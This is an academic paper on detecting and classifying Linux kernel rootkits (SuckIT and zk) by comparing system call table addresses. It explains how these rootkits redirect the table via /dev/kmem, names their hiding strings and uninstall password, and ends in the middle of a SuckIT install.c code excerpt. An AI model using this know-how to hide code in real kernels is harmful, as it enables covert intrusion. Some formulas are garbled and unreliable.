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Abstract 

There is no standardized methodology at present to 
characterize rootkits that compromise the security of 
computer systems.  The ability to characterize rootkits 
will provide system administrators with information so 
that they can take the best possible recovery actions and  
may also help to detect additional instances and prevent 
the further installation of the rootkit allowing the security 
community to react faster to new rootkit exploits.  There 
are limited capabilities at present to detect rootkits, but in 
most cases these capabilities only indicate that a system is 
infected without identifying the specific rootkit.   We 
propose a mathematical framework for classifying rootkit 
exploits as existing, modifications to existing, or entirely 
new.  An in-depth analysis of a particular type of kernel 
rootkit is conducted in order to develop a 
characterization.  As a result of this characterization and 
analysis, we propose some new methods to detect this 
particular class of rootkit exploit.   

1. Introduction 

Computers on today’s Internet are vulnerable to a 
variety of exploits that can compromise their intended 
operations.  Systems can be subject to Denial of Service 
Attacks that prevent other computers from connecting to 
them for their provided service (e.g. web server) or 
prevent them from connecting to other computers on the 
Internet. They can be subject to attacks that cause them to 
cease operations either temporary or permanently.  A 
hacker may be able to compromise a system and gain root 
level access, i.e. the ability to control that system as if the 
hacker was the system administrator.  A hacker who gains 
root access on a computer system may want to maintain 
that access for the foreseeable future.  One way for the 
hacker to do this is by the use of a rootkit.  A rootkit 
enables the hacker to access the compromised computer 
system at a later time with root level privileges.  System 
administrators have a continuing need for techniques in 
order to determine if a hacker has installed a rootkit on 
their systems.   

Techniques currently exist for a system administrator 
to monitor the status of systems.  Intrusion detection 
systems operate at numerous levels throughout the 
network to detect malicious activity by hackers.  At the 
system or host level, a file integrity checker program can 
be run on the computer system in question.   

These methods may not be able to detect the presence 
of a kernel level rootkit.  In this paper we present a 
preliminary mathematical framework to classify rootkit 
exploits and discuss a methodology for determining if a 
system has been infected by a kernel level rootkit.  New 
signatures can then be created for these kernel level 
rootkits in order to detect them.  We have conducted our 
research on a Red Hat Linux based system using the stock 
Red Hat kernel 2.4.18-14 and the standard Linux kernel 
2.4.18 but this methodology will apply to other Linux
distributions that are based on the standard Linux kernel.   
Also we believe our methodology should extend to other 
Unix based systems.

1.1. Definition of a Rootkit

A rootkit can be considered as a “Trojan Horse” 
introduced into a computer operating system.  According 
to Thimbleby, Anderson, and Cairns, there are four 
categories of trojans.  They are: direct masquerades, i.e. 
pretending to be normal programs; simple masquerades,
i.e. not masquerading as existing programs but 
masquerading as possible programs that are other than 
what they really are; slip masquerades, i.e.  programs with 
names approximating existing names; and environmental 
masquerades, i.e.  already running programs not easily 
identified by the user [1].    We are primarily interested in 
the first category of Trojans, that of direct masquerades.   

A hacker must already have root level access on a 
computer system before he can install a rootkit.  Rootkits 
do not allow an attacker to gain access to a system.  
Instead, they enable the attacker to get back into the 
system with root level permissions [2].    Once a hacker 
has gained root level access on a system,  a trojan 
program that can masquerade as an existing system 
function can then be installed on the compromised system. 
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Rootkits are a fairly recent phenomenon.  Systems used 
to have utilities that could be trusted to provide a system 
administrator with accurate information.  Modern hackers 
have developed methods to conceal their activities and 
programs to assist in this concealment [3].   

1.2. Kernel Level Rootkits

Kernel level rootkits are one of the most recent 
developments in the area of computer system exploitation 
by the hacker community [4].    The kernel is recognized 
as the most fundamental part of most modern operating 
systems.   The kernel can be considered the lowest level in 
the operating system.  The file system, scheduling of the 
CPU, management of memory, and system call related 
operating system functions are all provided by the kernel 
[5].  User interface to the kernel  is accomplished  through 

Figure 1-System Call Table 

the use of a system call, or sys_call.  The application 
performs a sys_call passing control to the kernel which 
performs the requested work and provides the output to 
the requesting application.   The addresses of these system 
calls in kernel memory are maintained in the system call 
table data structure stored in kernel memory.  Unlike a 
traditional binary rootkit that modifies critical system 
level programs, a kernel level rootkit may replace or 
modify the system call table within the kernel itself.  This 
allows the hacker to control the system without others 
being aware of this.    Kernel level rootkits usually cannot 
be detected by traditional means available to a system 
administrator. 

1.2.1 Kernel Level Rootkits that modify the System 
Call Table.

This type of kernel level rootkit modifies selected 
sys_call addresses that are stored in the system call table.  
A kernel level rootkit can use the capability of loadable 
kernel modules (LKMs).  LKMs are a feature that is 
available in Linux [6].  A LKM can be developed that will 
modify the sys_call to hide files and processes as well as 
provide backdoors for a hacker to return to the system.  
These LKM’s also modify the address table of sys_calls 
stored in the system call table.  They replace the addresses 
of the legitimate sys_calls with the addresses of the 
sys_calls that are installed by the hacker’s LKM [9].    

A sys_call in a system that has a kernel level rootkit 
installed may be redirected away from the legitimate 
sys_call to the kernel level rootkit’s replacement sys_call.  
The Loadable Kernel Module capability is also available  

in various UNIX based operating systems [6].  Anexample 
of this type of rootkit is the KNARK rootkit developed by 
CREED and released in 2001.   Figure 1 shows how 
redirection of the sys_calls is handled by a rootkit such as 
KNARK.   

1.2.2 Kernel Level Rootkits that redirect the system 
call table.

This type of kernel level rootkit redirects references to 
the entire system call table to a new location in kernel 
memory.  A new system call table is installed at this 
memory location.  This new system call table may contain 
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the addresses of malicious sys_call functions as well as 
the original address to any unmodified sys_call functions.  
One way to accomplish this is by writing to  /dev/kmem  
within the Linux Operating System.  The device 
/dev/kmem provides access to the memory region of the 
currently running kernel.  It is possible to overwrite 
portions of the kernel memory at runtime if the proper 
memory location can be found.  Kernel level rootkits that 
redirect the system call table accomplish this by 
overwriting the pointer to the original system call table 
with the address of a new system call table that is created 
by the hacker within kernel memory [6].  Unlike the 
previous method that was discussed, this method does not 
modify the original System Call Table and as a result, will 
still pass current consistency checks. 

2. A framework for classifying rootkit 
exploits

We have studied the work that has been done by 
Thimbleby, Anderson and Cairns [1] in developing a 
framework for modeling Trojans and computer virus 
infection.  This work dealt with the general case of  
viruses and Trojans.  We have used some of the ideas 
presented in this work to develop a mathematical 
framework in order for us to be able to classify rootkit 
exploits.  The focus of our work is more specific in that 
we are trying to develop a method to classify rootkits as 
existing, modification to existing, or entirely new.   

A computer virus has been defined as a computer 
program that is able to replicate all or part of itself and 
attach this replication to another program [7].  The type of 
rootkits that we wish to classify does not normally have 
this capability so this is not a method that we could use to 
detect or classify rootkits.   A true rootkit program that is 
intended to replace an existing program on the target 
system  must have the same functionality as the original 
program plus some increased functionality that has been 
inserted by the rootkit developer in order to allow 
backdoor root level access and/or the ability to hide 
specified files, processes, and network connections on to 
the target system.  This increased functionality is provided 
by added elements contained within the rootkit  program.  
The increased functionality of the rootkit, with its 
associated elements, provides  a method that can be 
utilized in order to detect and classify rootkit exploits.  
Rootkits can be characterized by using a variety of 
methods to compare the original program to the rootkit 
program and identify the difference, or delta ( ∇ ) in 
functionality between the two programs.    This ∇ can 
serve as a potential signature for identifying the rootkit. 

It has been recognized that evaluating a program file by 

its CRC checksum is both faster and requires less memory 
than comparing a file by its contents [8].  The results of 
this comparison will only tell you that a current program 
file differs from its original program file.  Using this 
check to detect rootkits  would not tell you if this rootkit  
is an existing, modification to existing, or entirely new 
rootkit exploit.   It is also recognized that Trojan Horse 
type programs can be detected by comparing them to the 
original program file that they are intended to replace [8].  
The approach we choose to follow is that rootkits can be 
classified comparing their ∇  against previously 
identified ∇ ’s of known rootkits.   

For our framework we assume that we have already 
identified a program as being part of a potential rootkit.  
In addition, we have a copy of the original programs that 
the rootkit replaced.   From our definition of a true rootkit 
we can assume that these two programs are 
indistinguishable in execution since they will produce 
similar results for most inputs.   Therefore, these two 
programs are similar to each other.  From [1], we 
recognize that similarity is not equality, i.e. we may not be 
able to recognize that the programs differ in the amount of 
time that we have available to analyze them. Two 
programs are indistinguishable when they reproduce 
similar results for most inputs.  A true rootkit should 
therefore be indistinguishable from what it is intended to 
replace since it should have the same functionality as the 
original programs it is to replace in addition to the new 
capabilities that were added by the rootkit developer. 

We also use the quantifiers, similarity (~),
indistinguishable ( ≈ ), and the meaning of a program 
[[ • ]] that was presented in [1] and define them in a 
similar manner. 

• ~ (similarity) – a poly log computable relation on 
all possible representations (defined as R) of a 
computer to include the full state of the machine 
consisting of memory, screens,  registers,  inputs, 
etc.  A single representation of R is defined as r.  
Poly log computable is defined  as a function that 
can be computed in less than linear time meaning 
a representation can be evaluated without having 
to examine the entire computer representation. 

• ≈ (indistinguishable) – two programs that 
produce similar results for most inputs. 

• [[ • ]] (the meaning of a program) – what a 
program does when it is run 

We presume to have two programs: p1, the original 
program, and p2, identified as malicious version of 
program p1 that provides rootkit capabilities on the target 
system.    If p2 is part of a true rootkit then p1 and p2 are 
indistinguishable from each other.  These two programs 
will produce similar outputs for most inputs.    In a 
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manner similar to [1] we can state that p1 is 
indistinguishable from p2 if and only if 

for most 21]]2[[~]]1[[: pprprpRr ≈�∈

meaning for most representations of a machine out of all 
possible representations the results of program p1 are 
similar to the results of program p2 which implies that p1 
is indistinguishable from p2.  

We will now apply set theory to show a method to 
characterize rootkit exploits.  We assume to have the 
following programs: 

p1 – original set of programs 

p2 – malicious version of programs that replace  p1 
programs 

If p2 is a true rootkit of p1 then we can state that p1 is a 
subset of p2 since all of the elements that exist in p1 must 
exist in p2.   Then p1 is a proper subset of since all 
elements of p1 exist in p2 but p1 is not equal to p2, This 
can be written as: 

21 pp ⊂ , since 21 pp ⊆  and 21 pp ≠  meaning p2 has 

at least one element that does not belong to p1. 

We will now identify the difference between p1 and p2. 

'1\2 ppp =  is the difference between p2 and p1 

containing only those elements belonging to p2.  This is 
the ∇  that we have previously discussed. 

We assume we have identified another rootkit of p1 and 
call this p3.  We can identify this collection of programs 
as a rootkit of type p2 as follows: 

If 1)3'(3 pppp =∩−   then p3 contains the same 

elements as program p2 and is the same rootkit.   

If the preceding statement is not true but elements of p’ 
are contained in p3, written as 3' pp ∈ , than we can 

assume that p3 may be a modification of rootkit p2.  If 
there are no elements of p’ in p3, written as 3' pp ∉ , than 

we may assume that p3 is an entirely new rootkit.  We will 
follow these steps in order to classify the example kernel 
level rootkit that we will be examining.  We are 
examining numerous rootkits as a part of our research, 
however we only present the details of  a few example 
rootkits in this paper. 

3. Existing Methodologies to detect rootkits

3.1 Methods to Detect Binary Rootkits 

Programs exist to check the integrity of critical system 
files.    There are several host based IDS tools that look at 
changes to the system files.  These programs take a 
snapshot of the trusted file system state and use this 
snapshot as a basis for future scans.  The system 
administrator must tune this system so that only relative 
files are considered in the snapshot.  Two such candidate 
systems are TRIPWIRE and AIDE (Advanced Intrusion 
Detection Environment) [10]. AIDE is a General Public 
License (GPL) program that is available for free on the 
Internet.  This program operates by creating a database of 
specified files.   This database contains attributes such as: 
permissions, inode number, user, group, file size, creation 
time (ctime), modification time (mtime),  access time 
(atime),  growing size and number of links [11].  
However, a program like AIDE does have shortcomings.  
Rami Lehti, in the Aide manual, states  ”Unfortunately, 
Aide cannot provide absolute sureness about changes in 
files.  Like any other system files, Aide’s  binary files 
and/or database can be altered” [11].  There is another 
free program that checks a system for rootkit detection.  
This program is known as chkrootkit [12].     

The chkrootkit program runs a shell script that checks 
specific system binaries to determine if a rootkit has been 
installed on the system.  This program also checks to see 
if the network interfaces on the computer have been set to 
promiscuous mode, which is a common ploy used by 
hackers in order to capture network traffic.  The program 
also checks the system logs.  The shell script is signature 
based, therefore the signature must be known in order to 
detect if a rootkit has been installed on a system.  
Programs such as chkrootkit may not detect a new rootkit, 
as well as modifications to existing rootkits. 

3.2 Methods to Detect Kernel Level Rootkits 

Samhain Labs [9] has developed a small command-line 
utility to detect the presence of a kernel level rootkit.   As 
we have previously explained, the kernel controls any 
application that is running on the computer.  If the 
application wants to access some system resource, such as 
reading to or writing from the disk, then the application 
must request this service from the kernel.  The application 
performs a sys_call passing control to the kernel which 
performs the requested work and provides the output to 
the requesting application.   A kernel level rootkit can 
modify these system calls to perform some type of 
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malicious activity.  A sys_call in a system that has a 
kernel level rootkit installed may be redirected away from 
the legitimate sys_call to the rootkit’s replacement 
sys_call.   

It may be possible to detect the presence of a kernel 
level rootkit by comparing the sys_call addresses in the 
current system call table with the original map of kernel 
symbols that is generated when compiling the Linux 
kernel.  A difference between these two tables will 
indicate that something has modified the system call table 
[9].    It must be noted that each new installation of the 
kernel as well as the loading of a kernel module will result 
in a new mapping of kernel symbols.  The following 
figure (figure 2) shows the output of running the 
kern_check program on a system infected with the 
KNARK kernel level rootkit.   

Figure 2-kern_check output of KNARKed system 

The output indicates that the addresses of 8 sys_calls 
currently listed in the system call table currently stored in 
kernel memory (/dev/kmem) do not match the addresses 
for those sys_calls in the original map of the kernel 
symbols.  This map of kernel systems is available on the 
system we examined as /boot/System.map.    If the 
/boot/System.map file is up to date, then the system call 
table has most likely been modified by a kernel level 
rootkit.    A similar file should be available on other Linux 
systems. 

The kern_check program however, does not work with 
later versions of the Linux kernel.  The Linux 2.6 Kernel 
will no longer export the system call table address.  This 
was done to prevent race conditions from occurring with 
the dynamic replacement of system call addresses by 
loadable modules.   Red Hat has back ported this feature 
into later versions of the Linux 2.4 kernel available for 
Red Hat releases so that it does not export the system call 

table address.  This may also be the case for other Linux 
distributions.  As a result, the query_module command 
will no longer be able to retrieve the address of the system 
call table for some newer distributions of Linux utilizing 
the 2.4 kernel as well as in the Linux 2.6 kernel [13].   

In addition, the kern_check program developed by 
Samhain Labs is unable to detect kernel level rootkits that 
redirect the system call table.  We have modified the 
kern_check program, which is released under the GPL 
license, so that it is able to work even if the query_module
capability is disabled as well as detect kernel level rootkits 
that redirect  the system call table.  We will subsequently 
address the details of these modifications. 

4. An Analysis of the SuckIT kernel level 
rootkit

4.1 The SuckIT kernel level rootkit.

The SuckIT rootkit was developed  by sd and devik 
based on the article they wrote in PHRACK vol. 58, 
article 7, titled “Linux–on-the-fly kernel patching without 
LKM”.   This article discusses a methodology for 
modifying the system calls within the Linux kernel 
without the use of LKM support or the /boot/System.map 
file [14].    Unlike kernel level rootkits that modify the 
system call table, this type of rootkit keeps the system call 
table intact.  An examination of the original system call 
table will not indicate that the system has been 
compromised by a kernel level rootkit.    The SuckIT 
kernel level rootkit accomplishes this by modifying the 
System Call Interrupt (system_call() function) that is 
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triggered whenever a User Mode process invokes a system 
call [15].   The pointer to the normal system call table is 
changed to the address of the new system call table that is 
created by the SuckIT rootkit.  This new system call table 
contains the addresses of the malicious system calls that 
are modified by the SuckIT rootkit  as well as the original 
addresses of any unmodified system calls.  Our 
methodology retrieves the address of the system call table 
that is stored within the System Call Interrupt and checks 
this table for modifications.  Any modification to this 
table as well as a mismatch between this retrieved address 
and the address of the system call table that is maintained 
within the /boot/System.map file will also indicate that 
redirection of the system call table is occurring within the 
kernel.    

The following features are provided by SuckIT 
according to the README document for the most 
recently available version of the program.  The list of 
features is: 

• Hide PID’s, files, tcp/udp/raw sockets 
• Sniff TTY’s 
• Integrated TTY shell access (xor+sha1) 

invoked through any running service on a 
server 

• No requirement to compile program on the 
target system 

• Ability to use the same binary on the Linux 2.2 
and 2.4 kernel (libc-free) 

In our examination of the SuckIT source code we did 
not find the last two features to be true in some cases.   
We were testing against Red Hat 8.0 (kernel ver 2.4.18-
14) and the standard Linux 2.14.18 kernel.  There are 
compile problems with later versions of the Red Hat 
Linux 2.4 kernel and the fact that certain system call 
addresses are no longer being exported necessitated 
modifications to the SuckIT source code in order to get 
the program to work on later versions of the 2.4.18-14 
kernel.  We suspect that this will also be the case with the  
Linux 2.6 kernel.  These changes were not necessary for 
the standard Linux 2.14.18 kernel. 

We have conducted an in-depth analysis of the SuckIT 
source code and infection process.  This analysis is 
available in the appendix to this document.  This analysis 
provided us with the specific ∇  (delta) that can be used to 
characterize the SuckIT program.  We discussed the 
concept of ∇  in section II of this paper. 

4.2 Installation of SuckIT on a RH8.0 System 

We have installed the SuckIT rootkit on a Red Hat 8.0 
system in order to investigate current detection methods as 
well as to test the feasibility of our proposed methodology 

to detect  kernel level rootkits involving redirection of the 
system call table.   We have also installed the kdb kernel 
debugger on this system.  The installation of kdb required 
us to install the standard Linux 2.4.18 kernel as opposed 
to the kernel used with RH8.0, which is 2.4.18-14.    In 
order to install kdb, the kernel must be patched and 
recompiled.  The necessary patch files as well as 
instructions to accomplish this are available on the web.  

We then installed the current version of AIDE 
(Advance Intrusion Detection Environment v 0.9) file 
integrity checker program.  We configured AIDE to run 
integrity checks on the /bin, /boot, and /sbin directories. If 
the rootkit (SuckIT) changes any files in these directories 
we would expect AIDE to detect  the changed files.  We 
then ran AIDE on this system to initialize the signature 
database for future checks. 

We installed the most current version of the chkrootkit 
program (v 0.41, released 20 June 2003).  This version of 
chkrootkit  specifically states that its ability to we detect 
the SuckIT rootkit has been improved [20].  Therefore, we 
also expect that the SuckIt rootkit will be detected by 
chkrootkit.   

Before infecting the system with SuckIT we ran AIDE 
and chkrootkit on the clean system.  As expected, we did 
not detect the presence of an exploit with either program. 

  We infected the target system with the SUCKIT 
rootkit.  The initial install of the SuckIT rootkit failed to 
compile against the Linux 2.14.18 kernel.   We made 
changes to this code in order to be able to compile it.  We 
choose not to publish these changes but there is no 
guarantee that a newer version of SuckIT incorporating 
these changes is not already available in the hacker 
community.    The SuckIT rootkit cleanly installs on the 
target Linux 2.14.18 kernel with the modified code.  It is 
now possible to hide PID’s, files, and tcp/udp/raw sockets 
on this system , i.e.  the presence of these items will now 
be hidden from system utilities such as ls, ps, and ifconfig.
We will now examine the results of running some of the 
various GPL software tools that are available in order to 
detect the presence of a rootkit on the target system.   

4.3   chkrootkit results on target system 

Running the chkrootkit program on a system infected 
with SuckIT system does not detect the presence of the 
SuckIT rootkit even if the default values are selected for 
the hidden directory (/usr/share/locale/sk/.sk12) and the 
file hiding string (sk12).  This program only detects the 
possible presence of a lkm (loadable kernel module) 
rootkit by detecting a mismatch between the ps command 
and a listing of PID’s in the /proc directory.  SuckIT does 
not use loadable kernel modules to compromise the 
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kernel.  Running chkrootkit on the infected system will 
only indicate that some form of kernel level rootkit may 
be installed.  There is no indication of a specific type of 
rootkit being installed on the target system.  The following 
figure shows the chkrootkit results on the target system 
infected with SuckIT.    Note that the presence of the 
SuckIT rootkit is not detected (item 2 on list in figure). 

Figure 3 -chkrootkit results on SuckIT infected system 

It is significant to note that the chkrootkit program does 
detect the presence of the SuckIT rootkit only after this 
rootkit is uninstalled from the target system.  Traces of the 
SuckIT rootkit can be detected when the rootkit is no 
longer running on the target system. Our analysis indicates 
that this is due to the redirection capabilities of SuckIT.  
Upon installation, SuckIT creates a new /sbin/init file after 
copying over the original /sbin/init file to a file named 
/sbin/init <file hiding string>.   While the SuckIT rootkit 
is installed on the target system, any reference to the 
/sbin/init file will be passed the /sbin/init<file hiding 
string> file, which is the original /sbin/init file.  In 
addition, the /sbin/init<file hiding string> file, as well as 
any other files with the <file hiding string> appended to 
their filenames, will remain hidden from the ls directory 
listing command.  

4.4 AIDE results on the target system

The AIDE program does not detect the presence of the 
SUCKIT rootkit.  The AIDE program does detect that 
attributes to the /sbin/telinit file have changed.  The 

/sbin/telinit file is a link to the /sbin/init file.  The /sbin 
directory is a directory that SuckIT targets in the 
installation of the rootkit, but the AIDE program does not 
indicate that the system is infected with SuckIT or with a 
kernel level rootkit.  Nor does the AIDE program detect 
that the kernel of the target system was modified.  The 
AIDE program does not indicate in any way that a  

redirection of the system call table is occurring on the 
target system or that the kernel has been compromised.  
These are the type of results that we would expect from a 
file integrity check program, i.e., it may be able to tell you 
that some files have changed, but not what has caused 
these changes to occur.    This type of result motivated us 
to invent an approach that would tell one what type of 
rootkit is present as well as what new or modified 
characteristics are present.   We believe that this will 
allow the security community to react faster to new rootkit 
exploits. 

The following figure shows the output of running the 
AIDE program on the target system that has been infected 
with the SuckIT rootkit. 

Figure 4 - AIDE results on SuckIT infected system 
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4.5 kern_check results on the target system 

The version of kern_check available from Samhain labs 
does not detect the presence of the SuckIT rootkit on the 
target system.    Samhain labs do state that the kern_check 
program is not capable of detecting the SuckIT rootkit [9].   

4.6 Ability of current GPL programs to detect 
and characterize kernel level rootkit exploits 

The current GPL programs that we examined have a 
limited capability to detect instances of kernel level 
rootkits and none were able to detect that our system was 
infected with the SuckIT rootkit.  In some cases these 
tools were able to tell us that something suspicious had 
happened on the system but they were unable to provide 
us with specific details of what had happened to the 
system.   We will present our methodology for detecting 
rootkits of this type in the next section of this paper.  Our 
methodology results have been incorporated into a 
modified kern_check program that is now capable of 
detecting both types of kernel level rootkits that we have 
previously discussed.  Our modified kern_check program 
is capable of detecting the SuckIT rootkit. 

5. Methods to detect and classify Kernel 
Level Rootkits 

We have looked at various programs that currently exist 
to detect rootkits.   These programs may indicate that 
some type of rootkit is installed on the target system but in 
most cases they fail to indicate the particular rootkit that is 
installed.  We have developed a methodology that will 
detect the presence of kernel level rootkits that redirect 
the System Call Table and present this methodology.  This 
methodology will also work to detect the presence of 
Kernel Level Rootkits that modify the System Call Table.  
Preliminary research indicates that this methodology will 
work on the Linux 2.6 kernel while existing methods may 
not work.  We expect that this methodology will also work 
on other operating systems. 

5.1 Checking the System Call Table against the 
/boot/System.map file 

Checking the System Call Table in kernel memory 
against the /boot/System.map file has already been 
proposed.  This is the technique that the Samhain program 

kern_check utilizes to detect for instances of kernel level 
rootkits.  However, the kern_check program fails to detect 
rootkits of the SuckIT variety as well as to detect any type 
of rootkits on more recent versions of the Linux kernel.     

Our examination of the SuckIT rootkit revealed to us 
the first difference, or ∇  in functionality between SuckIT 
and the program that it replaces.  SuckIT overwrites a 
location in kernel memory that contains the address of the 
system call table.    SuckIT is able to accomplish this by 
querying a specific register within the processor.   It then 
use this information to find the entry point address within 
the kernel for the system call table and overwrites this 
address with the address of a new system call table 
containing the addresses of some malicious system calls 
that SuckIT also creates.  We present an in depth analysis 
of how SuckIT accomplishes this within the appendix of 
this paper.    

We now have a ∇  consisting of a redirected system 
call table address, a new system call table, and some new 
malicious system calls.  We propose that you can use the 
same method that SuckIT uses to query the processor to 
retrieve the address of the system call table to check and 
see if this address has been changed by a rootkit such as 
SuckIT.  The original address is available when the kernel 
is first compiled and this address is stored in the 
/boot/System.map file.  If these addresses differ then a 
more detailed check can be made of the system call table  
that currently exists in kernel memory in order to develop 
a ∇ between the addresses of the system calls that exist in 
system call table within kernel memory and the addresses 
of the system calls that exist in the /boot/System.map file.   

If the /boot/System.map file is current then differences 
between  it and the system call table within kernel memory 
will indicate that redirection of the system calls is 
occurring on the system  and that the system is infected 
with some type of rootkit.  A preliminary signature can be 
established based on the number of system calls that are 
being redirected on the target system.  If two different 
kernel level rootkits change a different number of system 
calls then we can assume we have two different kernel 
level rootkits.  If these two rootkits change the same 
system calls then we can conduct are more detailed 
analysis of each infected system in order to look for 
differences between the two rootkits.   

If we do not have the rootkit source code available we 
can still look for differences though either the kdb 
program or we can copy segments of kernel memory 
through /dev/kmem and examining this data off-line.  We 
can use kdb to examine the actual machine code of the 
malicious system calls since we will have the actual 
addresses of these malicious system calls within kernel 
memory.  We can also try and disassemble these malicious 
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system calls manually or through the kdb program if it is 
installed on the system that we are using to investigate this 
kernel level rootkit.   

In any case, we are now able to detect that redirection 
of the system call table is occurring on the target system.  
We do realize that a hacker may be able to develop a 
kernel level rootkit that could provide false information 
concerning the entry point of the system call table within 
the kernel.   At present, however, we are unaware of any 
kernel level rootkit that is able to do this. 

The following figure shows the results of running the 
modified kern_check program on the target system that we 
have previously infected with the SuckIT rootkit. 

Figure 5 - Modified kern_check  results 

These are the exact results that we would expect based 
on our analysis of the SuckIT source code.  SuckIT 
creates 25 new malicious system calls that subvert the 
original system calls.  SuckIT also redirects system call 
table references to the new system call table that has been 
created in kernel memory by the rootkit.  This is indicated 
by the first line of the modified kern_check program 
output which is the address of this new system call table 
(kaddr = cc1e8000).  This address differs from the address 
of the system call table that is stored in the 
/boot/System.map file, which is the address of the original 
system call table on the target system.  We retrieved this 
address by using the grep command to search the 

/boot/System.map file as indicated in the bottom of the 
above figure.  If we run the modified kern_check program 
against this address, no redirection of the system calls 
would be detected.  However, the address that the kernel 
is using to retrieve system calls from the system call table 
is the malicious address since this is the address that we 
retrieve as a result of querying the processor.   

Even if we did not have the SuckIT source code 
available, we could still use this methodology to detect 
that  a kernel level rootkit targeting system calls is 
installed on this system.  If the address that is retrieved 
from the modified kern_check program matches the 
address  from the /boot/System.map file but the addresses  

of specific system calls differ, then a kernel level rootkit 
that modifies the system call table is installed on the 
system.  If the address retrieved by the modified 
kern_check program does not match the /boot/System.map 
address, then a kernel level rootkit that redirects the 
system call table is installed on the target system.   

The /boot/System.map file is created when a Linux 
kernel is compiled.  It should remain consistent for all 
installations of that kernel on a particular architecture.  If 
this file is not available on a particular system the system 
will still work but debugging will be difficult [21].  One 
should be able to retrieve a copy of the /boot/System.map 
file for a standard Linux installation on a particular 
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architecture.  One can make a copy of the 
/boot/System.map for custom installations (e.g. system 
with patches to a kernel) on any critical system when this 
system is first compiled for future reference.    

It is necessary to have a copy of the /boot/System.map 
file in order to run the kern_check program.  However, it 
is possible to build a customized kern_check program for 
a specific system that would incorporate the 
/boot/System.map file for that system which is created 
when the system is first built.  This program would 
contain the information that is stored within the 
/boot/System.map file.  This version of kern_check can be 
used on that specific custom system or on systems of that 
specific configuration and architecture.   This program 
would have to be rebuilt each time a new kernel is 
installed on the computer.   We have not investigated this 
approach in this research. 

A copy of the modified kern_check  program (available 
under the GPL license) is available a the following 
website: http://users.ece.gatech.edu/~owen/  under 
research.  You could also construct your own program to 
check the system call table following the methodology 
presented within this paper. 

5.2 Analysis of the zk kernel level rootkit 
involving redirection of the system call table. 

We now follow the methodology presented in this paper 
as applied to another rootkit.  The rootkit that we examine 
next is the zk rootkit developed by zaRwT@zaRwt.net. 
The documentation for this rootkit states that many of the 
features concerning patching of the kernel (/dev/kmem 
“Patching”)  were borrowed from  SuckIT.  Therefore, we 
would expect that it is possible to detect the  zk rootkit 
using the methods that we have just presented.  However,  
the documentation talks about additional features that are 
different from what is contained in SuckIT.  Our 
preliminary belief is that zk is a modification to the 
already existing SuckIT rootkit. 

Figure 6 - SuckIT  install and uninstall 

We set up two systems running the Linux 2.14.18 
kernel to be able to compare both the SuckIT and zk 
rootkits. In order to try and identify  some ∇  between 
these two programs.   

We  were able to install SuckIT successfully.  Running 
the modified kern_check program indicated that the 
system was infected with SuckIT. The next step was to 
uninstall SuckIT.  This was successful as indicated in 
figure 6 below.  Running the modified kern_check 
program indicated that the system was no longer infected.  
At this point the system was back to its original clean 
configuration concerning the system call table and the 
system calls that would be used in kernel memory.   

We had to make some changes to the zk rootkit before 
being able to install it, which was similar to what we had 
to do with SuckIT.  Running the modified kern_check 
program on a system infected with zk results in an 
indication that the same 25 system calls that were 
modified by SuckIT are also being modified by the zk 
rootkit.  The results of running the modified kern_check 
program on the zk infected system is similar to the output 
shown in figure 5 which represents the output of running 
the modified kern_check program on a SuckIt infected 
system.  These are the results that we would expect based 
on the documentation from the zk rootkit. 

We then installed zk successfully and verify this with 
the modified kern_check program.  The program indicated 
that the same 25 system calls were suspect.  However we 
were not able to uninstall the zk rootkit program.  This is 
the first indication that SuckIT and zk are not the same.  
We can now look to try and identify some ∇ between 
these two programs.  One of the first things that we 
noticed is that when we try to run the uninstall command 
on the zk rootkit (# ./zk u),  a usage statement is output to 
the screen and the program does not uninstall as indicated 
in figure 7.  This is not the case with SuckIT, the  uninstall 
program for SuckIT (# ./sk u) is successful  
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Figure 7 - zk uninstall 

In order to uninstall the zk rootkit, the usage statement 
indicates that a password must be used.  There in no 
reference to this uninstall password within the zk rootkit 
documentation and there is no indication of how to set this 
password.  We used the zk usage statement to try and 
identify a ∇ .
 We conducted a grep search for the term ‘password’ 
within the source code directory for the zk rootkit.  The 
results of this search indicate that the term ‘password’ 
exists within the client.c source code file.  A file by the 
same name exists for the SuckIT rootkit.  Comparing 
these two files using the resident diff command indicates 
that these two files do in fact differ.  We then conducted a 
more complete search on the zk client.c file.  We 
identified a password ‘kill me’ within the client.c file  The 
following figure shows the results of this search. 

Figure 8 - Uninstall password for zk rootkit 

We are then able to successfully uninstall the zk rootkit 
by using the following command: # ./zk u kill me.  
Running the modified kern_check program on the system 
indicates that the system is no longer infected. 

Having both rootkits installed on a system allows you to 
continue to identify ∇ ’s, or differences between the two 
rootkits.  The string ‘kill me’ can be used as a signature to 
detect instances of the zk rootkit.     Other potential 
signatures can be identified from both rootkits in a similar 
manner. 

6. Conclusion 

We have presented a methodology to detect and classify 
kernel level rootkits exploits involving redirection of the 
system call table within this paper.  The mathematical 
framework presented will help in determining if an 
identified rootkit is an existing rootkit, a modification to 
an existing rootkit or an entirely new rootkit.   A true 
binary  or kernel rootkit should maintain the original  

functionality of the program or programs that it is 
intended to replace plus some added capability introduced 
by the rootkit developer.   
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This added capability can be used to characterize the 
rootkit.  Two rootkits that have the same added 
capabilities are the same rootkits. A rootkit that has 
elements of some previously characterized rootkit is a 
modification to that rootkit and a rootkit that has entirely 
new characteristics is a new rootkit.   

We conducted an in-depth analysis of the SuckIT 
rootkit in order to develop a characterization.  In addition, 
we demonstrated the shortcomings that exist in current 
GPL tools that are available to detect rootkit exploits. Our 
work resulted in a methodology to detect kernel level 
rootkits that attack the system call table that is resident in 
kernel memory.     

We demonstrated the application of this methodology 
against two specific kernel level rootkit exploits.   We 
were able to detect the presence of both of these rootkits 
as well as identify similarities and differences between 
them. This can help to generate rootkit signatures to aid in 
the detection of these types of exploits.    This 
methodology will allow system administrators and the 
security community to react faster to new kernel rootkit 
exploits. 
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Appendix 

A. How the SuckIT Rootkit Functions on the 
Target System 

An individual wishing to install the SuckIT rootkit on a 
target system must already have gained root level access 
on this system.  There are a variety of methods available 
for a hacker to accomplish this and this is outside of the 
scope of this paper.  We assume that a hacker has already 
gained root level access for our the purposes of our 
research. 

One of the key features of the SuckIT rootkit is its 
ability to identify the correct location to overwrite within 
the kernel memory.   The SuckIT rootkit uses the 
following segment of code within the install.c program file  
to do this: 

asm ("sidt %0" : "=m" (idtr)); 
 printf("RK_Init: idt=0x%08x, ", 
(uint) idtr.base); 

 if (ERR(rkm(fd, &idt80, 
sizeof(idt80),
  idtr.base + 0x80 * 
sizeof(idt80)))) { 
  printf("IDT table read 
failed (offset

0x%08x)\n",
   (uint) idtr.base); 
  close(fd); 
  return 1; 
